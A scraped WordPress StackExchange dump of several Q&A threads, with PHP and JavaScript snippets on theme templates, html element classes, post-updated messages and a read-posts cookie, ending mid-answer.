I always see these on my dashboard > > Notice: Undefined index: full > in /home2/guyfancy/public\_html/cafe4apps.net/wp-includes/media.php on > line 215 > > > Notice: Undefined index: full > in /home2/guyfancy/public\_html/cafe4apps.net/wp-includes/media.php on > line 216 > > > Notice: Undefined index: full > in /home2/guyfancy/public\_html/cafe4apps.net/wp-includes/media.php on > line 217 > > > Notice: Undefined index: full > in /home2/guyfancy/public\_html/cafe4apps.net/wp-includes/media.php on > And recently it started showing up in front end as well > > >
For anyone else who stumbles on this problem I've found a possible cause. When you're running wp\_get\_attachment\_image\_src($imageid,'full') in your code if the $imageid you're checking doesn't have a 'full' size available you will see this error. As suggested above this particular problem could be caused by a plugin not checking for the existance of an image size before requesting it. If you wanted something more specific you could run a search for wp\_get\_attachment\_image\_src in your plugins and theme to see if anything is trying to get the 'full' image without checking for it's existance yet. In my case it was custom code so I wrote this to get around it ``` $meta = wp_get_attachment_metadata($imageid); if( array_key_exists("full", $meta["sizes"]) ) { $imagepath = wp_get_attachment_image_src($imageid,'full') } else { // Fallback to the original file name if( array_key_exists("file", $meta) ) $imagepath = 'wp-content/uploads/' . $meta["file"]; } ```
268,305
<p>I would like to display comments on a static <a href="http://disputeit.org" rel="nofollow noreferrer">home page of a site</a> using the twenty seventeen theme. I have configured it on in the settings and on the page but nothing gets displayed.</p> <p>Am I missing something? </p>
[ { "answer_id": 268309, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": true, "text": "<p>To achieve this you have to create front-page.php file in the child theme of seventeen theme on your site and add following modified code in it.</p>\n\n<pre><code>&lt;?php\n/**\n * The front page template file\n *\n * If the user has selected a static page for their homepage, this is what will\n * appear.\n * Learn more: https://codex.wordpress.org/Template_Hierarchy\n *\n * @package WordPress\n * @subpackage Twenty_Seventeen\n * @since 1.0\n * @version 1.0\n */\n\nget_header(); ?&gt;\n\n&lt;div id=\"primary\" class=\"content-area\"&gt;\n &lt;main id=\"main\" class=\"site-main\" role=\"main\"&gt;\n\n &lt;?php // Show the selected frontpage content.\n if ( have_posts() ) :\n while ( have_posts() ) : the_post();\n get_template_part( 'template-parts/page/content', 'front-page' );\n\n // If comments are open or we have at least one comment, load up the comment template.\n if ( comments_open() || get_comments_number() ) :\n comments_template();\n endif;\n endwhile;\n else : // I'm not sure it's possible to have no posts when this page is shown, but WTH.\n get_template_part( 'template-parts/post/content', 'none' );\n endif; ?&gt;\n\n &lt;?php\n // Get each of our panels and show the post data.\n if ( 0 !== twentyseventeen_panel_count() || is_customize_preview() ) : // If we have pages to show.\n\n /**\n * Filter number of front page sections in Twenty Seventeen.\n *\n * @since Twenty Seventeen 1.0\n *\n * @param $num_sections integer\n */\n $num_sections = apply_filters( 'twentyseventeen_front_page_sections', 4 );\n global $twentyseventeencounter;\n\n // Create a setting and control for each of the sections available in the theme.\n for ( $i = 1; $i &lt; ( 1 + $num_sections ); $i++ ) {\n $twentyseventeencounter = $i;\n twentyseventeen_front_page_section( null, $i );\n }\n\n endif; // The if ( 0 !== twentyseventeen_panel_count() ) ends here. ?&gt;\n\n &lt;/main&gt;&lt;!-- #main --&gt;\n&lt;/div&gt;&lt;!-- #primary --&gt;\n\n&lt;?php get_footer();\n</code></pre>\n" }, { "answer_id": 409260, "author": "Baner", "author_id": 225536, "author_profile": "https://wordpress.stackexchange.com/users/225536", "pm_score": 0, "selected": false, "text": "<p>You can search Google to create a Child Theme OR\nJust replace the current text in front-page.php with above\nIt works either way</p>\n" } ]
2017/05/27
[ "https://wordpress.stackexchange.com/questions/268305", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120566/" ]
I would like to display comments on a static [home page of a site](http://disputeit.org) using the twenty seventeen theme. I have configured it on in the settings and on the page but nothing gets displayed. Am I missing something?
To achieve this you have to create front-page.php file in the child theme of seventeen theme on your site and add following modified code in it. ``` <?php /** * The front page template file * * If the user has selected a static page for their homepage, this is what will * appear. * Learn more: https://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Seventeen * @since 1.0 * @version 1.0 */ get_header(); ?> <div id="primary" class="content-area"> <main id="main" class="site-main" role="main"> <?php // Show the selected frontpage content. if ( have_posts() ) : while ( have_posts() ) : the_post(); get_template_part( 'template-parts/page/content', 'front-page' ); // If comments are open or we have at least one comment, load up the comment template. if ( comments_open() || get_comments_number() ) : comments_template(); endif; endwhile; else : // I'm not sure it's possible to have no posts when this page is shown, but WTH. get_template_part( 'template-parts/post/content', 'none' ); endif; ?> <?php // Get each of our panels and show the post data. if ( 0 !== twentyseventeen_panel_count() || is_customize_preview() ) : // If we have pages to show. /** * Filter number of front page sections in Twenty Seventeen. * * @since Twenty Seventeen 1.0 * * @param $num_sections integer */ $num_sections = apply_filters( 'twentyseventeen_front_page_sections', 4 ); global $twentyseventeencounter; // Create a setting and control for each of the sections available in the theme. for ( $i = 1; $i < ( 1 + $num_sections ); $i++ ) { $twentyseventeencounter = $i; twentyseventeen_front_page_section( null, $i ); } endif; // The if ( 0 !== twentyseventeen_panel_count() ) ends here. ?> </main><!-- #main --> </div><!-- #primary --> <?php get_footer(); ```
268,339
<p>I know there is a body_class function for WordPress. But is there one (or a way) to add a class to the HTML element? </p> <p>My goal is to be able to add a unique class (or ID) to a page's HTML element. Currently my theme is adding the page-id-XXXX class to the body element, but I need a way to have a unique class or ID on the actual HTML element. I'd probably be fine having the page-id-XXXX also added onto the HTML element, although I'd prefer being able to have a custom field that's added to each page, where I can type in the class/ID that would then get added to the HTML element. </p> <p>At the very least, is there a function I can use to add a class or ID to the HTML element, similar to how the body_class function works?</p>
[ { "answer_id": 268346, "author": "Jared Cobb", "author_id": 6737, "author_profile": "https://wordpress.stackexchange.com/users/6737", "pm_score": 0, "selected": false, "text": "<p>Since you're outside of the loop the cleanest solution is to simply create your own function like so</p>\n\n<pre><code>function wpse_268339_get_post_class() {\n global $post;\n if ( ! empty( $post-&gt;ID ) ) {\n return 'post-' . $post-&gt;ID;\n }\n}\n</code></pre>\n\n<p>Then, in your <code>header.php</code> template just call the function as escape the output in a body class. This example assumes you already have a couple of classes on the <code>&lt;html&gt;</code> tag.</p>\n\n<pre><code>&lt;html &lt;?php language_attributes(); ?&gt; class=\"no-js no-svg &lt;?php echo esc_attr( wpse_268339_get_post_class() ); ?&gt;\"&gt;\n</code></pre>\n\n<p>This will only output a class name if you're on a Post / Page.</p>\n\n<p>Alternatively, if all of the normal body classes don't harm anything, you can just use <code>body_class()</code> on the <code>&lt;html&gt;</code> tag as well. The function works anywhere.</p>\n\n<pre><code>&lt;html &lt;?php body_class(); ?&gt;&gt;\n</code></pre>\n" }, { "answer_id": 268375, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 2, "selected": false, "text": "<p>WordPress does not have an equivalent of <code>body_class()</code> for the html tag.</p>\n<p>Here's an approach that uses output buffering to capture the final output of the HTML document being rendered. The output buffering code below was adapted from solutions posted <a href=\"https://stackoverflow.com/a/22818089/3059883\">here</a> and <a href=\"http://w-shadow.com/blog/2010/05/20/how-to-filter-the-whole-page-in-wordpress/\" rel=\"nofollow noreferrer\">here</a>. This allows us to access the final output of the HTML document which we then parse and edit and is done without needing to modify the theme's template files.</p>\n<p>First, we start output buffering and wire up our <code>shutdown</code> function, which\n<em>works by iterating through all the open buffer levels, closing them and capturing their output. It then fires off the <code>wpse_final_output</code> filter, echoing the filtered content.</em></p>\n<pre class=\"lang-php prettyprint-override\"><code> /**\n * Start output buffering\n */\n add_action( 'wp', 'wpse_ob_start' );\n function wpse_ob_start() {\n // Bail immediately if this is the admin area.\n if ( is_admin() ) {\n return;\n }\n \n // Bail immediately if this is a feed.\n if ( is_feed() ) {\n return;\n }\n \n // Start output buffering.\n ob_start();\n add_action( 'shutdown', 'wpse_ob_clean', 0 );\n }\n \n /**\n * Ensure the buffer is clean and then trigger the wpse_final_output filter.\n * This fires right before WP's similar shutdown functionality.\n */\n function wpse_ob_clean() {\n $final = '';\n \n // We'll need to get the number of ob levels we're in, so that we can\n // iterate over each, collecting that buffer's output into the final output.\n $levels = ob_get_level();\n \n for ( $i = 0; $i &lt; $levels; $i++ ) {\n $final .= ob_get_clean();\n }\n \n // Apply any filters to the final output\n echo apply_filters( 'wpse_final_output', $final );\n }\n</code></pre>\n<p>Here the HTML is parsed and the custom filter <code>wpse_additional_html_classes</code> is triggered which lets us add our additional classes in a separate function. This code is a bit verbose, but it covers several edge cases that I've run into when using <code>DOMDocument</code> to parse HTML.</p>\n<pre class=\"lang-php prettyprint-override\"><code> add_filter( 'wpse_final_output', 'wpse_html_tag', 10, 1 );\n /**\n * Parse final buffer output. Triggers wpse_additional_html_classes, which \n * allows us to add classes to the html element.\n */\n function wpse_html_tag( $output ) {\n \n // Filterable list of html classes.\n $additional_html_classes = apply_filters( 'wpse_additional_html_classes', array() );\n \n // Bail if there are no classes to add since we won't need to do anything.\n if ( ! $additional_html_classes ) {\n return $output;\n }\n \n // Create an instance of DOMDocument.\n $dom = new \\DOMDocument();\n \n // Suppress errors due to malformed HTML.\n // See http://stackoverflow.com/a/17559716/3059883\n $libxml_previous_state = libxml_use_internal_errors( true );\n \n // Populate $dom with buffer, making sure to handle UTF-8, otherwise\n // problems will occur with UTF-8 characters.\n // Also, make sure that the doctype and HTML tags are not added to our HTML fragment. http://stackoverflow.com/a/22490902/3059883\n $dom-&gt;loadHTML( mb_convert_encoding( $output, 'HTML-ENTITIES', 'UTF-8' ), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD );\n \n // Restore previous state of libxml_use_internal_errors() now that we're done.\n // Again, see http://stackoverflow.com/a/17559716/3059883\n libxml_use_internal_errors( $libxml_previous_state );\n \n // Create an instance of DOMXpath.\n $xpath = new \\DOMXpath( $dom );\n \n // Get the first html element.\n $html = $xpath-&gt;query( &quot;/descendant::html[1]&quot; );\n \n // Get existing classes for html element.\n $definedClasses = explode( ' ', $dom-&gt;documentElement-&gt;getAttribute( 'class' ) );\n \n // Adds our additional classes to the existing classes. Ensure that proper spacing of class names\n // is used and that duplicate class names are not added.\n foreach ( $html as $html_tag ) {\n $spacer = ' ';\n // Spacer will be set to an empty string if there are no existing classes.\n if ( isset( $definedClasses[0] ) &amp;&amp; false == $definedClasses[0] ) {\n $spacer = '';\n } \n foreach ( $additional_html_classes as $additional_html_class ) {\n if ( ! in_array( $additional_html_class , $definedClasses ) ) {\n $html_tag-&gt;setAttribute(\n 'class', $html_tag-&gt;getAttribute( 'class' ) . $spacer . $additional_html_class\n );\n }\n $spacer = ' ';\n }\n }\n \n // Save the updated HTML.\n $output = $dom-&gt;saveHTML(); \n \n return $output;\n }\n</code></pre>\n<p>The <code>wpse_additional_html_classes</code> filter allows us to easily filter the additional classes added the HTML element. In the example below, a special class is added for the post id (of course there are many cases where there will be no post id). An array of custom class names is also added. Customize the classes/logic for adding classes to suit your needs, then return the array of class names.</p>\n<pre class=\"lang-php prettyprint-override\"><code> add_filter( 'wpse_additional_html_classes', 'wpse_add_additional_html_classes', 10, 1 );\n /**\n * Filters list of class names to be added to HTML element.\n *\n * @param array $classes\n * @return array\n */\n function wpse_add_additional_html_classes( $classes ) {\n // Example of adding a post ID class.\n if ( is_singular() ) { \n $post_id = get_the_ID();\n if ( $post_id ) {\n $post_id_class = &quot;post-id-{$post_id}&quot;;\n if ( ! in_array( $post_id_class, $classes ) ) {\n $classes[] = $post_id_class;\n }\n }\n }\n \n // Add some more classes.\n $additional_classes = [\n 'class-1',\n 'class-2',\n 'class-3',\n ];\n $classes = array_merge( $classes, $additional_classes );\n \n return $classes;\n }\n</code></pre>\n" }, { "answer_id": 350139, "author": "Robert Went", "author_id": 99385, "author_profile": "https://wordpress.stackexchange.com/users/99385", "pm_score": 2, "selected": false, "text": "<p>Why not just add the class directly to the tag?</p>\n\n<pre><code>&lt;html &lt;?php language_attributes(); ?&gt; class=\"page-id-&lt;?php the_ID(); ?&gt;\"&gt;\n</code></pre>\n" }, { "answer_id": 379654, "author": "James0r", "author_id": 196803, "author_profile": "https://wordpress.stackexchange.com/users/196803", "pm_score": 2, "selected": false, "text": "<p>This seemed to work just fine for me</p>\n<pre><code>add_filter( 'language_attributes', 'add_no_js_class_to_html_tag', 10, 2 );\n\nfunction add_no_js_class_to_html_tag( $output, $doctype ) {\n if ( 'html' !== $doctype ) {\n return $output;\n }\n\n $output .= ' class=&quot;no-js&quot;';\n\n return $output;\n}\n</code></pre>\n<p>I couldn't find anything in the codex for it. Credit to <a href=\"https://gist.github.com/nickdavis/73d91d674b843b77a1cd0a21f9c0353a\" rel=\"nofollow noreferrer\">https://gist.github.com/nickdavis/73d91d674b843b77a1cd0a21f9c0353a</a></p>\n" }, { "answer_id": 379684, "author": "Garconis", "author_id": 91826, "author_profile": "https://wordpress.stackexchange.com/users/91826", "pm_score": 1, "selected": true, "text": "<p>Thanks to the help of <a href=\"https://wordpress.stackexchange.com/a/379654/91826\">this</a> answer, I've found this solution works for adding an <code>id</code>. Though I'm not sure about adding to the <code>class</code> attribute.</p>\n<pre><code>function add_id_to_html_element( $output ) {\n global $post;\n $output .= ' id=&quot;custom-id-' . $post-&gt;ID . '&quot;';\n return $output;\n}\nadd_filter( 'language_attributes', 'add_id_to_html_element' );\n</code></pre>\n" } ]
2017/05/27
[ "https://wordpress.stackexchange.com/questions/268339", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/91826/" ]
I know there is a body\_class function for WordPress. But is there one (or a way) to add a class to the HTML element? My goal is to be able to add a unique class (or ID) to a page's HTML element. Currently my theme is adding the page-id-XXXX class to the body element, but I need a way to have a unique class or ID on the actual HTML element. I'd probably be fine having the page-id-XXXX also added onto the HTML element, although I'd prefer being able to have a custom field that's added to each page, where I can type in the class/ID that would then get added to the HTML element. At the very least, is there a function I can use to add a class or ID to the HTML element, similar to how the body\_class function works?
Thanks to the help of [this](https://wordpress.stackexchange.com/a/379654/91826) answer, I've found this solution works for adding an `id`. Though I'm not sure about adding to the `class` attribute. ``` function add_id_to_html_element( $output ) { global $post; $output .= ' id="custom-id-' . $post->ID . '"'; return $output; } add_filter( 'language_attributes', 'add_id_to_html_element' ); ```
268,361
<p>I need help with removing the Content Filter from a Plugin:</p> <pre><code>add_filter( 'the_content', array( &amp;$this, 'addContentAds' ), 8 ); </code></pre> <p>Do someone could help me please?</p> <p>Thank you and best regards</p>
[ { "answer_id": 268346, "author": "Jared Cobb", "author_id": 6737, "author_profile": "https://wordpress.stackexchange.com/users/6737", "pm_score": 0, "selected": false, "text": "<p>Since you're outside of the loop the cleanest solution is to simply create your own function like so</p>\n\n<pre><code>function wpse_268339_get_post_class() {\n global $post;\n if ( ! empty( $post-&gt;ID ) ) {\n return 'post-' . $post-&gt;ID;\n }\n}\n</code></pre>\n\n<p>Then, in your <code>header.php</code> template just call the function as escape the output in a body class. This example assumes you already have a couple of classes on the <code>&lt;html&gt;</code> tag.</p>\n\n<pre><code>&lt;html &lt;?php language_attributes(); ?&gt; class=\"no-js no-svg &lt;?php echo esc_attr( wpse_268339_get_post_class() ); ?&gt;\"&gt;\n</code></pre>\n\n<p>This will only output a class name if you're on a Post / Page.</p>\n\n<p>Alternatively, if all of the normal body classes don't harm anything, you can just use <code>body_class()</code> on the <code>&lt;html&gt;</code> tag as well. The function works anywhere.</p>\n\n<pre><code>&lt;html &lt;?php body_class(); ?&gt;&gt;\n</code></pre>\n" }, { "answer_id": 268375, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 2, "selected": false, "text": "<p>WordPress does not have an equivalent of <code>body_class()</code> for the html tag.</p>\n<p>Here's an approach that uses output buffering to capture the final output of the HTML document being rendered. The output buffering code below was adapted from solutions posted <a href=\"https://stackoverflow.com/a/22818089/3059883\">here</a> and <a href=\"http://w-shadow.com/blog/2010/05/20/how-to-filter-the-whole-page-in-wordpress/\" rel=\"nofollow noreferrer\">here</a>. This allows us to access the final output of the HTML document which we then parse and edit and is done without needing to modify the theme's template files.</p>\n<p>First, we start output buffering and wire up our <code>shutdown</code> function, which\n<em>works by iterating through all the open buffer levels, closing them and capturing their output. It then fires off the <code>wpse_final_output</code> filter, echoing the filtered content.</em></p>\n<pre class=\"lang-php prettyprint-override\"><code> /**\n * Start output buffering\n */\n add_action( 'wp', 'wpse_ob_start' );\n function wpse_ob_start() {\n // Bail immediately if this is the admin area.\n if ( is_admin() ) {\n return;\n }\n \n // Bail immediately if this is a feed.\n if ( is_feed() ) {\n return;\n }\n \n // Start output buffering.\n ob_start();\n add_action( 'shutdown', 'wpse_ob_clean', 0 );\n }\n \n /**\n * Ensure the buffer is clean and then trigger the wpse_final_output filter.\n * This fires right before WP's similar shutdown functionality.\n */\n function wpse_ob_clean() {\n $final = '';\n \n // We'll need to get the number of ob levels we're in, so that we can\n // iterate over each, collecting that buffer's output into the final output.\n $levels = ob_get_level();\n \n for ( $i = 0; $i &lt; $levels; $i++ ) {\n $final .= ob_get_clean();\n }\n \n // Apply any filters to the final output\n echo apply_filters( 'wpse_final_output', $final );\n }\n</code></pre>\n<p>Here the HTML is parsed and the custom filter <code>wpse_additional_html_classes</code> is triggered which lets us add our additional classes in a separate function. This code is a bit verbose, but it covers several edge cases that I've run into when using <code>DOMDocument</code> to parse HTML.</p>\n<pre class=\"lang-php prettyprint-override\"><code> add_filter( 'wpse_final_output', 'wpse_html_tag', 10, 1 );\n /**\n * Parse final buffer output. Triggers wpse_additional_html_classes, which \n * allows us to add classes to the html element.\n */\n function wpse_html_tag( $output ) {\n \n // Filterable list of html classes.\n $additional_html_classes = apply_filters( 'wpse_additional_html_classes', array() );\n \n // Bail if there are no classes to add since we won't need to do anything.\n if ( ! $additional_html_classes ) {\n return $output;\n }\n \n // Create an instance of DOMDocument.\n $dom = new \\DOMDocument();\n \n // Suppress errors due to malformed HTML.\n // See http://stackoverflow.com/a/17559716/3059883\n $libxml_previous_state = libxml_use_internal_errors( true );\n \n // Populate $dom with buffer, making sure to handle UTF-8, otherwise\n // problems will occur with UTF-8 characters.\n // Also, make sure that the doctype and HTML tags are not added to our HTML fragment. http://stackoverflow.com/a/22490902/3059883\n $dom-&gt;loadHTML( mb_convert_encoding( $output, 'HTML-ENTITIES', 'UTF-8' ), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD );\n \n // Restore previous state of libxml_use_internal_errors() now that we're done.\n // Again, see http://stackoverflow.com/a/17559716/3059883\n libxml_use_internal_errors( $libxml_previous_state );\n \n // Create an instance of DOMXpath.\n $xpath = new \\DOMXpath( $dom );\n \n // Get the first html element.\n $html = $xpath-&gt;query( &quot;/descendant::html[1]&quot; );\n \n // Get existing classes for html element.\n $definedClasses = explode( ' ', $dom-&gt;documentElement-&gt;getAttribute( 'class' ) );\n \n // Adds our additional classes to the existing classes. Ensure that proper spacing of class names\n // is used and that duplicate class names are not added.\n foreach ( $html as $html_tag ) {\n $spacer = ' ';\n // Spacer will be set to an empty string if there are no existing classes.\n if ( isset( $definedClasses[0] ) &amp;&amp; false == $definedClasses[0] ) {\n $spacer = '';\n } \n foreach ( $additional_html_classes as $additional_html_class ) {\n if ( ! in_array( $additional_html_class , $definedClasses ) ) {\n $html_tag-&gt;setAttribute(\n 'class', $html_tag-&gt;getAttribute( 'class' ) . $spacer . $additional_html_class\n );\n }\n $spacer = ' ';\n }\n }\n \n // Save the updated HTML.\n $output = $dom-&gt;saveHTML(); \n \n return $output;\n }\n</code></pre>\n<p>The <code>wpse_additional_html_classes</code> filter allows us to easily filter the additional classes added the HTML element. In the example below, a special class is added for the post id (of course there are many cases where there will be no post id). An array of custom class names is also added. Customize the classes/logic for adding classes to suit your needs, then return the array of class names.</p>\n<pre class=\"lang-php prettyprint-override\"><code> add_filter( 'wpse_additional_html_classes', 'wpse_add_additional_html_classes', 10, 1 );\n /**\n * Filters list of class names to be added to HTML element.\n *\n * @param array $classes\n * @return array\n */\n function wpse_add_additional_html_classes( $classes ) {\n // Example of adding a post ID class.\n if ( is_singular() ) { \n $post_id = get_the_ID();\n if ( $post_id ) {\n $post_id_class = &quot;post-id-{$post_id}&quot;;\n if ( ! in_array( $post_id_class, $classes ) ) {\n $classes[] = $post_id_class;\n }\n }\n }\n \n // Add some more classes.\n $additional_classes = [\n 'class-1',\n 'class-2',\n 'class-3',\n ];\n $classes = array_merge( $classes, $additional_classes );\n \n return $classes;\n }\n</code></pre>\n" }, { "answer_id": 350139, "author": "Robert Went", "author_id": 99385, "author_profile": "https://wordpress.stackexchange.com/users/99385", "pm_score": 2, "selected": false, "text": "<p>Why not just add the class directly to the tag?</p>\n\n<pre><code>&lt;html &lt;?php language_attributes(); ?&gt; class=\"page-id-&lt;?php the_ID(); ?&gt;\"&gt;\n</code></pre>\n" }, { "answer_id": 379654, "author": "James0r", "author_id": 196803, "author_profile": "https://wordpress.stackexchange.com/users/196803", "pm_score": 2, "selected": false, "text": "<p>This seemed to work just fine for me</p>\n<pre><code>add_filter( 'language_attributes', 'add_no_js_class_to_html_tag', 10, 2 );\n\nfunction add_no_js_class_to_html_tag( $output, $doctype ) {\n if ( 'html' !== $doctype ) {\n return $output;\n }\n\n $output .= ' class=&quot;no-js&quot;';\n\n return $output;\n}\n</code></pre>\n<p>I couldn't find anything in the codex for it. Credit to <a href=\"https://gist.github.com/nickdavis/73d91d674b843b77a1cd0a21f9c0353a\" rel=\"nofollow noreferrer\">https://gist.github.com/nickdavis/73d91d674b843b77a1cd0a21f9c0353a</a></p>\n" }, { "answer_id": 379684, "author": "Garconis", "author_id": 91826, "author_profile": "https://wordpress.stackexchange.com/users/91826", "pm_score": 1, "selected": true, "text": "<p>Thanks to the help of <a href=\"https://wordpress.stackexchange.com/a/379654/91826\">this</a> answer, I've found this solution works for adding an <code>id</code>. Though I'm not sure about adding to the <code>class</code> attribute.</p>\n<pre><code>function add_id_to_html_element( $output ) {\n global $post;\n $output .= ' id=&quot;custom-id-' . $post-&gt;ID . '&quot;';\n return $output;\n}\nadd_filter( 'language_attributes', 'add_id_to_html_element' );\n</code></pre>\n" } ]
2017/05/28
[ "https://wordpress.stackexchange.com/questions/268361", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/75820/" ]
I need help with removing the Content Filter from a Plugin: ``` add_filter( 'the_content', array( &$this, 'addContentAds' ), 8 ); ``` Do someone could help me please? Thank you and best regards
Thanks to the help of [this](https://wordpress.stackexchange.com/a/379654/91826) answer, I've found this solution works for adding an `id`. Though I'm not sure about adding to the `class` attribute. ``` function add_id_to_html_element( $output ) { global $post; $output .= ' id="custom-id-' . $post->ID . '"'; return $output; } add_filter( 'language_attributes', 'add_id_to_html_element' ); ```
268,379
<p>How to customize the notice message ('Post published' or 'Post updated') displayed when I add or edit a custom post type registered with <code>register_post_type()</code> function?</p>
[ { "answer_id": 268383, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 4, "selected": true, "text": "<p>You can used the <code>post_updated_messages</code> filter.</p>\n\n<pre><code>add_filter( 'post_updated_messages', 'rw_post_updated_messages' );\n\n\nfunction rw_post_updated_messages( $messages ) {\n\n$post = get_post();\n$post_type = get_post_type( $post );\n$post_type_object = get_post_type_object( $post_type );\n\n$messages['my-post-type'] = array(\n 0 =&gt; '', // Unused. Messages start at index 1.\n 1 =&gt; __( 'My Post Type updated.' ),\n 2 =&gt; __( 'Custom field updated.' ),\n 3 =&gt; __( 'Custom field deleted.'),\n 4 =&gt; __( 'My Post Type updated.' ),\n /* translators: %s: date and time of the revision */\n 5 =&gt; isset( $_GET['revision'] ) ? sprintf( __( 'My Post Type restored to revision from %s' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,\n 6 =&gt; __( 'My Post Type published.' ),\n 7 =&gt; __( 'My Post Type saved.' ),\n 8 =&gt; __( 'My Post Type submitted.' ),\n 9 =&gt; sprintf(\n __( 'My Post Type scheduled for: &lt;strong&gt;%1$s&lt;/strong&gt;.' ),\n // translators: Publish box date format, see http://php.net/date\n date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post-&gt;post_date ) )\n ),\n 10 =&gt; __( 'My Post Type draft updated.' )\n);\n\n //you can also access items this way\n // $messages['post'][1] = \"I just totally changed the Updated messages for standards posts\";\n\n //return the new messaging \nreturn $messages;\n}\n</code></pre>\n" }, { "answer_id": 383088, "author": "Clemorphy", "author_id": 150568, "author_profile": "https://wordpress.stackexchange.com/users/150568", "pm_score": 1, "selected": false, "text": "<p>Since Wordpress 5.0 you can now define these messages directly in the <code>register_post_type</code> function :</p>\n<pre><code>function wporg_custom_post_type() {\n register_post_type('wporg_product',\n array(\n 'labels' =&gt; array(\n 'name' =&gt; __('Products', 'textdomain'),\n 'singular_name' =&gt; __('Product', 'textdomain'),\n 'item_published' =&gt; __( 'Product published.', 'textdomain' ), // new since WP 5.0\n 'item_published_privately' =&gt; __( 'Product published privately.', 'textdomain' ), // new since WP 5.0\n 'item_reverted_to_draft' =&gt; __( 'Product reverted to draft.', 'textdomain' ), // new since WP 5.0\n 'item_scheduled' =&gt; __( 'Product scheduled.', 'textdomain' ), // new since WP 5.0\n 'item_updated' =&gt; __( 'Product updated.', 'textdomain' ), // new since WP 5.0\n ),\n 'public' =&gt; true,\n 'has_archive' =&gt; true,\n )\n );\n}\nadd_action('init', 'wporg_custom_post_type');\n</code></pre>\n<p>Source : <a href=\"https://make.wordpress.org/core/2018/12/05/new-post-type-labels-in-5-0/\" rel=\"nofollow noreferrer\">https://make.wordpress.org/core/2018/12/05/new-post-type-labels-in-5-0/</a></p>\n" } ]
2017/05/28
[ "https://wordpress.stackexchange.com/questions/268379", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/81094/" ]
How to customize the notice message ('Post published' or 'Post updated') displayed when I add or edit a custom post type registered with `register_post_type()` function?
You can used the `post_updated_messages` filter. ``` add_filter( 'post_updated_messages', 'rw_post_updated_messages' ); function rw_post_updated_messages( $messages ) { $post = get_post(); $post_type = get_post_type( $post ); $post_type_object = get_post_type_object( $post_type ); $messages['my-post-type'] = array( 0 => '', // Unused. Messages start at index 1. 1 => __( 'My Post Type updated.' ), 2 => __( 'Custom field updated.' ), 3 => __( 'Custom field deleted.'), 4 => __( 'My Post Type updated.' ), /* translators: %s: date and time of the revision */ 5 => isset( $_GET['revision'] ) ? sprintf( __( 'My Post Type restored to revision from %s' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __( 'My Post Type published.' ), 7 => __( 'My Post Type saved.' ), 8 => __( 'My Post Type submitted.' ), 9 => sprintf( __( 'My Post Type scheduled for: <strong>%1$s</strong>.' ), // translators: Publish box date format, see http://php.net/date date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ) ), 10 => __( 'My Post Type draft updated.' ) ); //you can also access items this way // $messages['post'][1] = "I just totally changed the Updated messages for standards posts"; //return the new messaging return $messages; } ```
268,423
<p>I am trying to add a read posts function to my Wordpress website. To achieve this, I create a cookie on which I store all the IDs of read posts. Every time a post is loaded, the following function is fired : </p> <pre><code>function readPosts() { if (is_single()){ $postId = get_the_id() . "/"; $cookie = empty($_COOKIE['readposts']) ? "/0/" : $_COOKIE['readposts']; if(strpos($cookie, ("/" . $postId)) === false){ $val = $cookie . $postId; setcookie('readposts', $val, time() + 3141592, "/"); } } } add_action('get_header', 'readposts'); </code></pre> <p>I tried using different hooks, such as <code>wp</code> , <code>init</code> or <code>template_redirect</code> but all are giving the same result. Instead of appending only the current post's ID to the cookie, it adds two IDs. The current post's ID and the ID of the post that was published just after the current post. Like if I was loading two different posts. But it only adds the ID of a more recent post if it's not already in the cookie and of course if there is a more recent post!</p> <p>Here's how the cookie looks like before loading a page : /0/221/46/ And after : /0/221/46/292/82/</p> <p>I have no idea why this is happening. It looks like dark magic for me. If any of you have an idea, I'd be very grateful for your help! Thanks</p>
[ { "answer_id": 268425, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 2, "selected": false, "text": "<p>The core of the problem is that you set cookies when the content is being accessed, not when it is read. Browsers can try to prefetch content, and your description sound like the browser is prefecthing the \"next\" link found in the header.</p>\n\n<p>From experience, you should avoid setting cookies on the server and prefer setting them on client side (add to the html a small JS that will set the cookie) or even better if possible, use local storage instead.</p>\n" }, { "answer_id": 268441, "author": "FrelonGuepe", "author_id": 120658, "author_profile": "https://wordpress.stackexchange.com/users/120658", "pm_score": 2, "selected": true, "text": "<p>I went the JavaScript way as @Mark Kaplun suggested and it works. \nThere is no more duplicate.\nHere's my JS for those interested:</p>\n\n<pre><code>jQuery(document).ready(function($) {\n var name = \"readposts=\";\n var decodedCookie = decodeURIComponent(document.cookie);\n var ca = decodedCookie.split(';');\n\n for (var i = 0; i &lt; ca.length; i++) {\n var c = ca[i];\n while (c.charAt(0) == ' ') {\n c = c.substring(1);\n }\n if (c.indexOf(name) == 0) {\n var cookie = c.substring(name.length, c.length);\n }\n }\n\n if(cookie == \"\")\n cookie = \"/0/\" + my_script_vars.postID + \"/\";\n else if(cookie.indexOf(\"/\" + my_script_vars.postID + \"/\") === -1)\n cookie += my_script_vars.postID + \"/\";\n\n var d = new Date();\n d.setTime(d.getTime() + (30*24*60*60*1000));\n var expires = \"expires=\"+ d.toUTCString();\n document.cookie = \"readposts=\" + cookie + \";\" + expires + \";path=/\";\n});\n</code></pre>\n\n<p>And here's how I tell WP to load it, and make postID accessible from JS : </p>\n\n<pre><code>function wpse268423_enqueue_cookie_script(){ \n if (is_single()){\n global $post;\n wp_enqueue_script('cookie_read_posts', get_template_directory_uri() \n . '/js/cookie_read_posts.js' );\n 